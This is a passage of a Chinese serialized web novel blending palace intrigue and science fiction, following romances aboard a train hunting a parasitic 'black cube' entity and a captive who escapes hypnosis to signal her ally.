拎着袋子等着沈逆的时候,身侧的广告牌吸引了窦璇玑的注意力。
这是内廷专门拍摄的女帝登基宣传片。
广告牌上李司那张熟悉又陌生的脸以大特写的方式突然撞入窦璇玑的眸底。
头顶天子冕冠,精致又威严的妆容,让李司的确成了高高在上的女帝。眉眼之中高不可攀的贵气呼啸着压在窦璇玑心头,让她看痴了。
窦璇玑被李司的脸庞吸引了注意力,完全没注意到身后有人突然靠近她,用力将她抱入怀中。
窦璇玑一惊,战斗的本能让窦璇玑立刻抽出电刃,割向对方的脖颈。
谁知对方完全不反抗,反而开心地笑了。
“还是这么辣。”
窦璇玑怔住。
眼前的高个女人戴着帷帽,还加了一层口罩。
当她掀开帷帽的黑纱时,只看那双雪亮的眼睛,窦璇玑便知道她是谁。
正是这广告牌里刚刚登基的女帝本人。
“李——”
窦璇玑差点脱口而出,立刻压低了声音。
“你,怎么跑到这儿来了!”
李司弯弯的眼睛里带着满当当的笑意,和身后广告牌里的女帝相去甚远。威严不见,只有那亲切的死皮赖脸。
“不知道你什么时候才能回长安城,实在想你想得紧。”
李司抱着窦璇玑不撒手,说着说着还委屈了起来。
“照片也不给人发一张全脸的,这不成心让人难受么?”
“可是,你……”
窦璇玑四周看了看,确定没人,才压低声音道:
“你现在是天子啊,怎么能随意离开长安城?”
李司指着眼睛里的血丝,“为了见你,我熬了好几个大夜才换了三日的假期。虽然还是偷跑出来的吧,三天也好……我想见你,就想待在你身边。”
窦璇玑双唇张了张,没法再说出反对的话。
昏暗的过道里单调的灰色完全成了背景,窦璇玑只能看到李司那双明亮的双眸。
温暖,执着。
双臂用力箍着的紧密感,让寒冷的身心暖和了.
两侧高墙围起来的露天站台内北风呼啸着,像风过山谷,卷得旅人们缩起肩头,瑟瑟发抖。
却有个戴着帷帽的高个女人完全不畏严寒,开心得手舞足蹈,笑声不断。
沈逆真是服了李司,低声对李司道:“陛下,您可低调一点吧,要是被人发现你跑到这儿来了,指不定会吸引来一系列的暗杀。更别说选中您登基的那位也在,要是被她发现,捆人回京肯定不止是嘴上说说了。”
李司看向窦璇玑。
窦璇玑:“闭嘴。”
李司乖乖道:“好咧。”
沈逆:……
沈逆第一次感觉到自己如此的多余。
古朴的马车头列车缓缓进站。
金属马头昂扬地对着夜空,仿佛对着墨色的天际无声地嘶鸣。
边烬和云氏姐妹掐着点上了站台,走进头等舱。
雾雪线是帝国最为古老的官道,修建于第一次科技大爆发时代,历史悠久,是北方最重要的线路。
雾城,便是唐Pro和弦昼国交界重镇。
雾雪线列车有十一截车厢,前两截是头等舱,每截车厢内设六个舱位,两两相对,都是包厢形式的卧铺。床铺有两种模式,上下铺,或者把上铺拉下来合并成双人床,全看客人需求。
边烬自己住一间,云氏姐妹一起住一间。
虽然还是和姐姐住一起,不过云衣知足了,起码是上下铺。
云氏姐妹的包厢在边烬的右手边,对面的包厢的门紧闭着。
边烬找到乘务长,出示了治理司的证件。
乘务长一看是治理司,脸色苍白,这意味着列车上有黑魔方。
乘务长道:“可是,乘车之前所有乘客都做了题啊。”
和龙泉城客栈一样,现下整个雪域内,乘坐公共交通都需要做四道简单的题目,通过了才能上车。边烬她们也做了。
边烬说:“别慌,你慌了乘客会更慌。”
中年乘务长被她这句话稳住了心绪。
边烬说:“借我一身乘务员的衣衫。”
乘务长:“好!”
边烬本想借着查票暗中锁定黑魔方藏在哪个人体内,等到下一站便把乘客都放下车,以免伤及无辜。
可是,她若是靠近,黑魔方怎么可能察觉不到?
让云婵云衣两姐妹去吗?
她们恐怕无法一眼识破人形异兽。
就在边烬沉思时,对面包厢门开了。
一只漂亮的女人手拎起乘务员衣衫。
沈逆靠在门口,睨着边烬:“虽然你做完就赶我走,不解风情又凶巴巴的,但如果你说几句好听话哄哄我,或许我会考虑帮你查查黑魔方的票。”
第153章
石川小镇外,一处隐蔽的农场。
向知番接连做了几夜噩梦,梦中光怪陆离什么都有,昨夜的梦境甚至将他带回了那间阴暗的小屋,刀子匠手里明晃晃的刀闪着让他胆寒的光。
那是他一辈子的噩梦,很多年没有梦到了,最近正是搜捕李极的关键时刻,却又频频来侵扰他。
他怀疑有精神天赋者在暗中催眠。
可是他是顶格的S级精神天赋者,如果有人催眠,他一定能察觉到。
向知番正对周围疑神疑鬼,打算挨个讯问下属时,下属突然带回来一个人。
向知番:“是你?”
第五阙被五花大绑,嘴也被枷械封着,拎到向知番面前。
下属回报,他们在鬼市掮客茶会中无意见听到这个女人正在打听向公的下落,便将她抓了回来。
向知番看着第五阙那双仇视眼眸,问道:“她可是S级战斗天赋,不好对付。”
下属道:“是的……为了抓她,我们还折了一个人进去。”
说到这儿,失去同伴的痛苦让他怒从心起,操起手里的棍子狠狠打在第五阙的脑袋上。
第五阙脑袋微微一晃,血从额头上滑落,她就像感觉不到半点疼痛,用轻蔑的眼神看向那人。
即便无法说话,那双眼睛也完全表达了她蔑视的态度。
仿佛在说——就这点力气,给奶奶挠痒都不够格。
那下属还想再打,被向知番制止。
“行了,此人是第五氏的嫡女,命得留着。”
向知番算是知道谁在暗算他了。
暂时不知道第五阙一个战斗天赋者是用什么手段影响了他的梦境,不过不会那么凑巧,肯定和她有关系。
既然送上门,向知番当然得收着她,若是要和李极争夺睦州,她将是极其重要的筹码。
向知番让下属们都出去,独留第五阙。
第五阙知道,他要开始催眠了。
完全不怕。
只要那个锚点还在,她一定能醒来。
一盏茶之后。
向知番唤了几位侍女进来。
侍女进来时,第五阙目光发滞地坐在椅子上,血沿着脸庞汇聚到下巴上,滴滴答答的,她也浑然无查。
侍女们要将她带走,领头的侍女安排着人手。
“你去备马车,你直接到闻声阁,收拾出一间新房。”
正在喝茶的向知番道:“慢。”
向知番琢磨了一下,说:“别带她去闻声阁,去听水楼。”
领头侍女:“喏。”
“还有,把她身上所有配饰都摘了,换身衣服。”向知番交代。
这些小细节不用他说,领头侍女也会办妥。
毕竟向公的催眠最烦遇上能够唤醒的锚点,人质身上所有可能设置锚点的物件都必须摘除。
这是她日常的工作,向公却还要再交代一遍,足以见得他对这个人质的重视程度。
她又说了一声“喏”,把第五阙的双手用电子锁链锁紧,带到隔壁屋。
头饰、蹀躞带,还有上面那只多足虫玩偶,全部摘掉,衣裙也换掉,保证不留下任何可能的锚点。
……
大雪茫茫,一辆列车在即将破晓的大地上穿行。
车窗外,树林、村镇,甚至远处朦胧的雪山都在以肉眼可见的速度消失。但若是从高空俯瞰,雾雪线列车只是一只在苍凉大地上缓缓爬行的蚂蚁。
沈逆戴着口罩,穿着乘务员的制服,从车头检票到车尾,忽略无数双不怀好意的眼睛,回到头等舱。
云衣正好出来如厕,见沈逆从她面前走过。
云衣认出她了,这不是白御史的夫人么?怎么又成乘务员了?
沈逆直接推开了边烬包厢门,走进去,又关上。
云衣震惊。
敢直接出入白御史的包厢,不愧是“妻子”。
“没查到。”
沈逆一进包厢就摘掉了口罩,疑惑地坐在沙发上。
“奇怪,我带着探测器去的,整个车厢几百号人挨个查过去,都没有感染黑魔方,但车上的确有黑魔方的能量反应。”
正说着,窦璇玑来敲门。
她刚才用丽景门女官的身份去找了列车乘务组。
现下丽景门已经改了编制,名存实亡,但那是长安城里发生的事儿,各地并不知晓,特别是偏远的雪域,只听说过丽景门的威名,并不知晓后来的变化。
窦璇玑用丽景门女官身份盘问得极其顺利,没人敢违抗。
面上在盘问,实则在测试乘务组的智力情况。
“没发现异常。”
边烬:“也就是说,列车上所有人都没有明显感染黑魔方的痕迹。这次藏得更深。”
窦璇玑猜测道:“又一次迭代了?”
边烬斩钉截铁道:“没有。”
窦璇玑疑惑:“为何?”
自然是因为边烬与黑魔方本体已经算是共生关系,黑魔方无论如何变化,边烬都是第一个知晓的。
窦璇玑也听说过边烬带走了黑魔方,只是尚未想到此刻眼前的边烬体内藏着巨量的黑魔方本体,反问得相当自然。
边烬被她问得一时无言。
沈逆强行帮她解围:“我夫人说什么都对。”
边烬:……
窦璇玑脑子还是很够用,这会儿反应过来了,略有些尴尬,匆忙转移了话题:
“我,沈逆,我给你买了油炸地豆,拿你包厢还是拿这儿来?”
沈逆完全没征询包厢主人的意见就说:“还给我买好吃的了?谢谢,拿这儿来。”
窦璇玑把零嘴拿过来,再回自己的包厢,小心翼翼地合上门。
边烬坐着的位置正好能看到斜对角窦璇玑的厢门,问沈逆:
“她为什么进进出出门只开一条窄缝?”
正在打开包装的沈逆心里略略紧了一下。
师姐这直觉也太敏锐了。
为什么只开一条缝?还不是因为金屋藏娇……不,金屋藏乔。
麦香小乔的乔。
只是现在小乔不宜见客,特别是边烬。
边烬好不容易把黑魔方带走,圈了一个完全安全的世外桃源,却一个个的全跑出来了。
要是被边烬知道她亲自选的皇帝居然背着内廷千里追“妻”追到这趟列车上,恐怕列车都得调个头开去京师。
沈逆不是想瞒着边烬,实在是这李司太磨人。
李司被困在长安城的时候天天给窦璇玑传信,窦璇玑也不知道出于什么心态,很少回她。
就沈逆知道的她就回过一封,还拍了一张大合影,自己躲在角落不肯露全脸。
每个人有自己的想法和打算,沈逆没有干预别人的兴趣。
只是李司这厮脑子转得倒快,收不到窦璇玑的信就改成给沈逆传信,每天问她吃什么喝什么到哪了,过的好不好。
窦璇玑和沈逆一直都在一起行动,沈逆吃什么喝什么到哪了,那窦璇玑自然一个样。
要知道的是李司在旁敲侧击打探窦璇玑日常,不知道的还以为沈逆得去当皇后了。
现在人跑来了,沈逆的信箱总算能消停几天。
更何况,李司跟沈逆保证,自己就待三日,三日之后她一定会出现在大明宫新修出来的议政大殿——乾元殿内,主持新殿的第一场朝会。
李司不是个信口胡说之徒,沈逆了解她的品性,说到做到,也实在是想心上人想得紧才会偷跑,沈逆最能体会她的不易。
既然只来三日,这掩护能打就帮她打一打了。
沈逆往嘴里丢了一个油炸地豆。
“璇玑你还不知道么?性格内向。这油炸地豆好吃!”
边烬:“是么?”
“是么?怎么听上去你好像不太相信我的话?”
边烬睨沈逆,“不怪我不信,你这张嘴可有说实话的时候?”
沈逆直接塞了两颗地豆到边烬嘴里。
边烬:……
沈逆妖娆一笑,“好吃吗?”
沈逆的确被边烬带坏了,确切的说是被边师姐带坏了。
一言不合就堵嘴。
这招还真好用.
窦璇玑关上包厢的门,见李司坐在合并成的双人床上批阅奏折。
李司连这几日要批阅的奏疏都打包带来了,一边批还一边吃窦璇玑买的点心。
窦璇玑眼睁睁地看着点心渣掉在床上。
窦璇玑“啪”地拍向她脑袋,“别在床上吃东西!”
李司“哎哟”一声,捂着脑袋看向她:“你打我?”
“不能打?”
窦璇玑反问完之后表情一滞,是啊,我好大的狗胆,敢打当今天子的脑袋。
只是打顺手了,而且李司这脑袋圆圆的,看上去很好拍的样子。
窦璇玑正想着打天子的脑袋得判几年,李司笑着拉住她的手说:
“能打,还想打哪儿,我撅起来给你打。”
听到“撅”字,窦璇玑嫌弃地皱眉。
感觉李司心里已经决定要递什么过来打了,无语地笑着捶了她胳膊一下,再把床上的点心渣给扫了。
李司发现窦璇玑就是嘴上厉害,根本没真怪她,反而特温柔地把残渣都清理了,看上去心情也很好的样子,弄得李司心里美滋滋的,点心也不吃了,挪了一大块地方让窦璇玑坐。
窦璇玑没坐,就靠到一旁问她:
“你座位呢?怎么挤我包厢?还不交银子啊陛下?”
窦璇玑心情的确很好,说不上来的踏实感,就是想笑。
李司说:“我买的太晚了,哪还有座票啊,就刨了张无座……璇玑,你舍得让我站外面三天吗?”
窦璇玑:“舍得。”
李司:……
窦璇玑都这么说了,她只能可怜巴巴地拎上她的小包袱,去后面的车厢找个地方站着了。
看李司还真要走,窦璇玑噗嗤笑起来,“你还真走,我逗你的。”
拉李司的这一下,拉住了她的手。
车厢内有暖气,但李司批奏疏的时候手露在外面半天,这会儿冰冰冷冷。
窦璇玑下意识地捏了捏她的手指,还真是冷,把她领回来,递来一双手套。
“戴着暖暖。”
李司双手攥着手套,“你不赶我了?”
窦璇玑:“我哪有赶你,都说了是开玩笑的。”
李司脸颊上浮现一抹红晕,“那,今晚咱们睡一块儿?”
窦璇玑被她这么一问,脑海中浮现出她俩同床共枕的画面。
“我……再去看看能不能找到黑魔方的线索。”
窦璇玑说完就要走,李司不方便在人多的地方露面,她这张脸已经被整个帝国熟知了。
“你别一个人去啊!”
窦璇玑嘴上说“我去找沈逆”,其实也没好意思打扰人家小情侣,找个地方自己待会儿,冷静冷静。
包厢门又合上,李司美滋滋地戴上她给的手套,的确很暖和。
吃着窦璇玑的点心睡着她的床,还戴了她的手套,整个人被窦璇玑的气息包围,李司终于舒坦了,不枉费她翘了三日的值。
璇玑肯定得回来。
所以,今晚……
李司心脏砰砰地跳.
一辆马车往石川镇外开。
马车内坐着三四个低着头,目光呆滞的人,第五阙就在其中。
很明显这些人都被强大的精神力催眠了。
其他六、七名武卫都带着武器,警惕着车厢和车外的风吹草动。
第五阙坐在窗边,软软的身子跟着马车摇摇晃晃。
马车马上就要抵达城墙。
出了城墙,就要奔入荒野之中。
第五阙呆滞地透过车帘的缝隙往外看。
看到了黎明曙光之中,城墙上那颗巨大的琉璃球。
“不行。”
在地下城时,一开始沈逆和第五阙都想用多足虫玩偶当锚点,毕竟这玩偶是贺兰濯送给她的,她一直随身携带,非常适合。
但是,沈逆很快否定了。
沈逆说:“不行,别用多足虫,它丑得太醒目了。而且万一它掉了或者对方发现,直接摘了怎么办?那就全完了。”
第五阙:“哪丑了?它可是限量版。”
沈逆:“是因为丑才限量的吗?”
第五阙:……
窦雪怀道:“靖安侯说的对,我们这些精神天赋者都知道锚点的重要性。精神天赋者之间的战争,最重要的就是锚点的选定,优秀的锚点需要对你本身非常重要,还得出其不意,且有隐蔽性。越是强大的催眠,你就越是要找一个不会被夺走、摧毁,而且能唤醒你精神世界的独特锚点。”
沈逆可没自报家门,但窦雪怀却知道她是靖安侯,说明这位地下城的老大,对于地上的事儿也不是完全不过问。
第五阙思索了片刻,问沈逆:“逆逆,你有注意到石川镇城墙上那颗巨大的琉璃球吗?”
“来的时候看到了。”
沈逆很快明白了她的意思。
“你是说……”
“如果我被向知番抓走,他不会把我留在石川,这不是他掌控的地界。他一定会把我运出城,带到睦州,或许就是藏匿人质的地点。睦州在石川的北边,琉璃球就在北门城墙上。也就是说,出城的时候我肯定会看到琉璃球。即便是夜里,琉璃球依旧明亮。”
第五阙笑道。
“那个琉璃球,很像贺姐姐的眼睛。”
在深夜里都无比迷人的眼睛。
朝阳落在琉璃球上,射出一道惊人的光亮,正好打在第五阙的眼睛上。
亮光在她眼前一闪,就像看到了贺兰濯的眼眸。
阿阙。
贺兰濯的声音仿佛在第五阙的耳畔响起。
浮在水面上荡漾的小球像是被什么捕获,倏地平复了混乱的水面。
第五阙骤然清醒。
冷汗浸湿了后颈的头发,她真的醒过来了。
第五阙控制住了表情和动作,没让人发现她的异常。
太好了。
第五阙攥紧拳头。
计划成功!
与此同时,曾倾洛正悄声无息地跟着马车,一同前往未知的地点。
……
沈逆躺在边烬的肩头,一边吃地豆,一边吃边思考着这趟列车上黑魔方究竟是如此隐藏的。
边烬转眸问沈逆:“你什么时候回去?”
沈逆安安稳稳地靠着边烬,“回哪儿?”
“你自己的包厢。”
沈逆还以为她又开始念叨回长安城,原来是回包厢。
“没说好听话我却帮你检票,结果人刚回来你就要赶我走?”
“我说了。”
“‘别闹’是好听话?”
沈逆说“如果你说几句好听话哄哄我,或许我会考虑帮你查查黑魔方的票”之后,边烬说了句“别闹”。
边烬也觉得自己挺离谱,嘴角微弯。
“不回去了。”
沈逆不仅不回去,还直接转了个身,对着边烬的脸。
“黑魔方不都还没找到,我得留下来,咱们开个会,研究一下接下来的计划。”
不是边烬想赶沈逆走,而是她有种不太妙的感觉。
自沈逆帮她修复逆芯后,老实了没几日的黑魔方忽然开始骚动,惹得她呼吸逐渐变得急促。
发现边烬鼻尖上有些汗珠,原本狡黠的笑容慢慢收敛。
“师姐,怎么了?”
“阿摇……”
边烬低低地唤了一声,忽然起身,抬手就要将她推出去。
“走!”
一直稳定的黑魔方毫无征兆突然爆发,无数的乱体就要拧出体外。
沈逆在此,一定会受牵连!
沈逆却没走,拉住她推过来的手,与她十指相扣,三张符纸贴在边烬的心口。
符纸上复杂的符号散着电子冷光,边烬皮肤上扎出的尖锐乱体仿佛被滚烫的热油烫个正着,立刻颤抖地缩了不少回去。
边烬眼眸里布满了黑气,对视之下沈逆心脏几乎漏跳了一拍。
“师……”
还没等沈逆开口,边烬掐着她的脖子,一把将她摁在床上。
这不是她熟悉的师姐,眼前人已然被黑魔方控制,邪气横生,任何人看到此刻的她都会在一瞬间陷入惊惧。
但那是别人。
沈逆完全没有反抗,没有打开外骨骼也没有使用电磁炮,她不可能伤害边烬。
继续抽出符纸,贴在边烬的手臂、脖子,任何还有乱体残留之处。
这符纸她是从秦无商那儿学来的。
既然符纸能让秦无商这么多年尚且留存着意识,那它一定有镇压效果。
沈逆在反复的实验中迭代了好几次,眼下的符纸镇压黑魔方的效果比秦无商的那款更强。
修复边烬的那日,也在她体内植入了符纸。
看她这几日状态稳定,还以为成功了,没想到还是会反复。
难以捉摸的黑魔方。
沈逆一贴再贴,最后,大量的符纸终究把黑魔方暂时压制回去。
尚且不知副作用,本来沈逆是不打算使用这么多的。
可是危急时刻,顾不了那么多了。
边烬的意识渐渐回拢,不断深喘时,发现自己正掐着沈逆。
沈逆脸色涨红,眼睛里有一包眼泪,浑身轻颤,却还在笑。
“师姐……欢迎回来……”
边烬像被烫了一下,立即松开手。
“阿摇,我……”
边烬想远离她,却被沈逆抱住。
“没事的,你看,我把它压制住了。你说,你是不是不能没有我?”
恐怖的指印清晰地留在沈逆白皙的脖子上。
边烬知道发生了什么,可当时她体内的黑魔方对沈逆强大的天赋着了迷,无法克制地想要伤害她,夺她的身体。
边烬居然无法自控。
自责的情绪在边烬的体内翻涌,沈逆却吻住了她。
边烬迟疑地没有回应,甚至想移开双唇。
她身上还有些死去的乱体,污秽的黑魔方在她躯体上蔓延。
那是病毒,是夺人性命的邪祟。
沈逆察觉到她的心思,执起她的手,吻上手背上的乱体。
边烬挣了一下,“阿摇!”
沈逆没让她抽走手,依旧吻着。
“怕什么,这是你的一部分。”
“可是……”
即便已经死去,乱体依旧尖锐,轻易割破了沈逆娇嫩的唇。
鲜血沿着她的唇缝,滴在边烬的手背上。
沈逆浑身是冷汗,发丝凌乱,面色惨白,鲜红的血珠凝在唇面上,灼痛了边烬的心。
“我说了,你离不开我,只有我能帮你封住黑魔方。现在你信了吧?”
沈逆捏住边烬的手,眼泪从发红的眼眶里一颗颗砸下来,咬牙切齿般。
“不回长安……我死也要和你死在一起。”
鲜血揉进边烬的唇中,铁锈味里夹杂着一丝难以形容的甜。
是沈逆主动的,主动吻上,命令边烬启开唇齿,与她热吻。
最后反被箍住了腰肢,尽情掠夺。
雾雪线列车载着两颗落魄、难解又无法割舍的心,穿过贫瘠寒冷的苍茫大地。
即便如蝼蚁般渺小,它亦顶风破雪,不顾一切地前行。
第154章
马车开了很久很久,换了两次车,直到第五阙后背发酸,险些睡着,才在一处偏远的小村子里停了下来。
这里应该是睦州地界。
第五阙在清醒之前听到的话还记得。
她记得向知番对侍女说,“别送去闻声阁,去听水楼”。
所以眼下这个破烂留丢,满地烂泥的地界,连水都没有,是怎么和“听水楼”这风雅的名字搭上关系的?
第五阙和其他三人被护卫和侍女带到一处院中。
一名管事模样的中年男人打开院门,有些疑惑问道:“怎么送这儿来了?”
领头侍女冷眼道:“别多问,向公交代了就这么做,十日之后向公会亲自来。”
第五阙思索着,以她对精神天赋者的了解,一次催眠的效果有限,十日之后老阉狗会来此地,肯定是来二次催眠的。
到时候可就没有锚点让她恢复神智了。
第五阙知道自己只有十日的时间。
很快第五阙就知道,自己还真是误会这听水楼了。
此地看是穷乡僻壤,连条像样的路都没有,居然还是个给达官贵人做衣服的手工衣坊。
她和几位被催眠的同伴换上了女工的衣服,有人专门教她们如何手工制衣,纯纯把她们当劳力。饭还不给好好吃,尽吃些馊饭霉菜。
尚且不知和她一起催眠的这些人都是谁,不过从向知番以往的行径可以断定,这些人一定都是有利用价值的。
这么说起来,向老狗这藏人的方式真挺能掩人耳目的,想要寻找被抓走的亲朋好友,定会觉得人质被关到地牢之类的隐秘场所,没想到居然是发配到乡下去劳作。
全部打扮成农人的模样,还被催眠,痴痴傻傻灰头土脸的,就算从面前走过恐怕也无法辨认。
难怪贺兰濯一直没有找到。
有一点第五阙很感兴趣。
听他们话中的意思,以往人质应该多送去“闻声阁”,为什么却将她带到了“听水楼”呢?
莫不是那闻声阁有什么是她不能瞧见的?
贺兰濯的妹妹阿赐会在闻声阁吗?
……
这处院子看上去普通,实则周遭布满了监控,还有一层看不到的电网,日夜都有护卫暗中把守,无法随意进出,连睡觉都有监工巡逻。
曾倾洛是一直跟着她,但以免被发现,两人约好了相隔起码二里地。驾马车的人也贼得很,进村前都慢悠悠匀速前进,忽然加速拐进村,就是怕有尾随的尾巴。
第五阙怕曾倾洛已经被甩了,找不到这个院子。
被关在里面,想跟曾倾洛接头告诉她自己清醒了,完全没机会,无法出去,身上也没有任何通讯工具。
第五阙可真是愁,这下该怎么办?
第二日一早,第五阙还没睡醒就被叫起来去干活。
她顶着酸涩的眼睛,观察了一下周围,这小院劳作也有分配。
新人们都在院子里制衣,一举一动都在监工眼皮子底下。
被观察了一段时日的老人们则会在监工和护卫的监督下出院干活,有些去市集采买食物,有些去镇上运货。
如果能找机会出院子,能递消息的机会就更多了。
第五阙在染布料的时候心想,那些能出院的老人们都是被观察了多久?别已经个把月,被向知番反复催眠了,那可真来不及。
第五阙正想着,只听“嘶”的一声,手里的布料被她扯成两截。
第五阙:……
糟了,想事儿想的,没注意手里的力道。
监工过来查看,无奈地看第五阙一眼。
“什么情况啊,这布料很贵的。”
第五阙心想,怎么着,你们还真的在做衣服,掩人耳目的副业越做越上心了是吧?
送第五阙来的护卫道:“她是个S级战斗天赋,力气大。”
监工:“那去磨染料。”
第五阙:……
你们这古朴的作坊,还真是纯手工?
第五阙被安排去磨染料,又把磨臼给磨穿了。
监工和护卫:……
管事的听到动静过来,了解了第五阙这浑身催眠都化不掉的力气之后说:
“正好,老吴的腰闪了,让她替老吴运货去。”
第五阙心想,我是想找个茬出院,谁能想到还没开始找呢就成功了,我运气怎么就这么好?
第五阙脚上套着电子枷械,被推上了马车。
管事的指着她道:“别想逃,一逃走这枷械立马爆炸,炸烂你半边身子,我可不负责。”
第五阙装着被催眠后的傻样子,嘿嘿一笑重复他的话道:“炸烂你半边身子,我可不负责。”
管事的觉得这傻子说话忒不吉利,挥挥手,让人赶紧把她运走。
第五阙在护卫和监工的双重监视下出了院门。
这一带全是乡间地头,让第五阙惊讶的是,她居然看到了一只活牛在耕地。远处当真有一条奔腾的小溪从山上奔入田野,寒冬的清泉叮咚作响,田野一望无际,厚厚的阴云之中裂出一道纤细的光,却能将远处的山脊描上一线夺目的金边。
没有楼宇没有朝堂,甚至连人都很稀少。
没想到如履薄冰之时,置身在开阔清新的山野,体会了一把她最最向往的逸致闲情。
马车开到市集一处布坊,成箱的布料已经放在后门,监工让第五阙下车去扛。
第五阙轻轻松松把布料搬上车,她发现这一带除了载具,很少机械化的东西。
第五阙想到了胶囊里未来世代的留言。
【你们的富甲一方,战无不胜,这一切都不是免费的。】
受够了黑魔方的苦,扭曲的科技之树开始枯萎,不属于这个时代的财富在惩罚中加倍流失。原始的劳动方式让受尽了所谓“完美世界”的百姓重新找回了安全感。不知道极度崇拜未来世代,连唐Pro这个名字都在致敬的先祖们,知道末日是从何而来时,会作何感想。
第五阙干活的整个过程都在监工的眼皮底下,没法留下任何记号,也不能与任何人交谈。
有点忐忑,这些监工也监管得太严了吧。
这么努力监视,怎么就不来扛扛货物?
第五阙坐车返回小院时,看似在发呆,实则在想办法。
路过菜场,在一阵吆喝声中忽然听到熟悉的声音。
“新鲜的白菜,五个铜板一捆——”
第五阙心里紧了紧,余光里看到了一身农妇打扮,正在卖菜的曾倾洛。
曾倾洛居然还学了当地的土话,脑袋上围着条三角巾,小脸涂得红红的,完全融入菜场的气氛,不愧是能干的小探子。
但第五阙在马车内,窗帘都拉着,只有车厢晃荡的时候才能露出一丝缝隙,曾倾洛没法发现她。
马车就要离开菜场,第五阙急中生智,突然呕了一下。
监工转头看她。
第五阙继续呕,监工嫌弃道:“打开窗户,让她吐外面!真是的,跟庖厨说,发霉的东西该倒就倒,抠这么点油水也富不了!真吃出毛病,我看他们怎么跟向公交代。”
窗户一开,第五阙假装捂嘴的时候刻意刺激喉咙,还真稀里哗啦吐了一顿。抬起头和曾倾洛对视,喉咙里还在作呕,对曾倾洛快速眨了一下眼。
曾倾洛在这附近晃荡了一天,终于发现了第五阙。
而且她清醒了,太好了。
其他人卖菜的菜农还在看热闹,曾倾洛收回目光继续卖菜,扯着嗓门跟人讨价还价.
边烬再次睁开眼睛时,沈逆已经将手术用具装回工具箱里。
“一个好消息,一个坏消息,还有一个不好不坏的消息。”沈逆合上工具箱的时候说,“你想先听哪个?”
边烬目光在她脖子上还未消退的指痕上流连。
指痕在沈逆为她检查身体时从红肿变成可怕的淤青,唇面上的血口也触目惊心。
看上去无比恐怖,而沈逆却是浑然不在意的模样。
边烬:“你想先说哪个?”
边烬的语气依旧平淡,只有沈逆能听出字里行间内敛的宠爱。
“我是一贯喜欢说好消息的。好消息是,逆芯再次被黑魔方损坏,我加载进去的符纸也被拧碎了。现在报废程度已经到了百分之五十了吧。”
边烬皱眉,“这算好消息?”
“是啊,这意味着你不可能离开我了。你想带着我也得带着我,不想带着我也得带着我。”
边烬:。
“原来师姐你也会翻白眼。”
边烬:“那坏消息是什么,我已经做好心理准备了。”
沈逆把工具箱随手放到矮案上,拉来边烬的胳膊,理所当然舒舒服服地枕上去。
“坏消息是经过这几日的相处,我们的亲密度突破了一百五。刚才连理模块提醒,我们已经成功解锁了‘伉俪情深’成就勋章,只是这成就勋章是个实物,不给寄出来,得咱们俩一同回长安城才能拿。这得什么时候才能拿到啊?”
边烬习惯了沈逆的胡言乱语,“那不好不坏的消息是什么?”
沈逆的腿理所当然架到边烬身上,整个贴着她。
“不好不坏的消息么,就是璇玑和李……和你那两个小跟班已经趁着我给你手术的时候,查到了黑魔方的下落。”
边烬有些意外,“查到了?”
“嗯,璇玑脾气大,想要整列列车搜查,但是车头进不去,她就找列车长。列车长来了也刷不开车头驾驶舱的权限,虽说这趟列车是全自动驾驶,可驾驶员也是要经常待在驾驶舱的,列车长进出无碍。现在的情况就像是驾驶舱自个儿拒绝别人进入,这是不是很奇怪?”
边烬:“黑魔方就在驾驶舱?”
沈逆:“我猜测,这一整列车都是你要寻找的黑魔方分支。我猜得对不对,一会儿列车到站时就知道了。”
边烬早该想到的,黑魔方既然不在乘客体内,又一直阴魂不散,整列车就是黑魔方化成的异形体,或许就是最可能的答案。
而且最直接的证据就是,一直时不时现身的沈扶苏这一路居然都没在列车的任何一个屏幕里出现,实在不符合她烦人的风格。
沈逆道:“还有一刻钟就到高峰林站了。璇玑说已经说服了列车长,到时候广播让所有乘客都下车。”
其实窦璇玑不是“说服”,而是“挟持”了列车长,不照做就砍了他脑袋。
不得不说,窦璇玑这强硬的做事风格,若是对手很难缠,可如果是同伴,倒是能省很多不必要的麻烦。
沈逆:“到时候如果乘客都下车了,这事儿就好办了。要是不让下车的话……”
边烬转眸,与沈逆对视.
曾倾洛拎着菜篮子从菜场离开,往村子里走。
身后有两个人一直跟着她。
曾倾洛全程没回头,她知道那是向知番的人,在暗中监视人质一举一动的护卫。
他们发现了她是个生面孔。
也未必会动手。这个村子人少,但也不是没有人员流动,就她看到的就有两户人家亲友来访。
曾倾洛猜测,跟着她的这两人看到了陌生人会照例暗随探查,排除可疑人员。毕竟这儿是藏人质的敏感地带。
沿着潮湿的青石板小路往前走的这几息间,曾倾洛脑海中闪过无数种策略,无论是躲是战,都会暴露身份节外生枝,第五阙很有可能会受到牵连。
时间太紧迫了,最稳妥的法子应该是找到一处闲置的房子。
有住所的话,可疑程度将大大降低。
眼下路过的房屋不是紧闭着房门就是屋内有人,不可能贸然闯进去。
走得越远,曾倾洛的心跳就越快。
眼看就要走出小村,曾倾洛心下一横,眼里已有杀气。
只有杀了他们,再想办法了。
就要抽出武器时,身边的小屋“吱嘎”一声开了门,一位婀娜的美妇人走了出来,曾倾洛还未来得及看清对方的模样,对方气势汹汹一把拧住了她的耳朵。
“死鬼,几颗菜卖了一整天!家里的活不用干么?”
曾倾洛疑惑地转眸,对上一张明显化过妆的脸。
即便如此,她还是一眼就认出了。
“你……”
李极穿着一身朴实的农妇粗布裙,气势汹汹地揪着她往门里带,完全就是个泼辣的媳妇,在教训不上进的死鬼老婆。
“你是不是不爱我了?你还爱不爱我嘛?”
曾倾洛都还没反应过来,就被连撒泼带撒娇的李极揪屋里去了。
屋门一关,李极把曾倾洛抵在门后,收敛起方才的泼辣劲儿,惊喜之余思念翻涌,捧着她的脸便要吻下来。
这人还是一如既往的无赖,倒是没认错人。
马上要吻到曾倾洛的软唇,李极的嘴却被捂了起来。
“现在不是做这种事的时候。”
曾倾洛低语着,挑开窗帷往外暗瞧。
一直在暗中跟着曾倾洛的两名护卫互相对视一眼,离开了。
曾倾洛松了口气。
李极得意道:“人被我骗走了,我厉不厉害?”
曾倾洛:“你怎么会在这儿?”
李极也没将曾倾洛的手拨开,贪恋地用鼻尖蹭她的手心。
“我要是不在这儿,谁帮你把人骗走?”
曾倾洛掌心被她弄得发痒,那痒意直蹭到心尖上。
要是以前曾倾洛肯定立刻手开撤,让李极无处可耍赖。
但此刻,她犹豫了。
她甚至不敢去想,自己眼底是不是带着和李极一样的欣喜。
李极握着曾倾洛的手,紧贴在自己脸上。
曾倾洛被李极这热情的相贴弄得不自在。
倒不是其他原因,只是化妆成卖菜农妇,那些沾着泥的菜拿了又放,她手上肯定也有污渍。
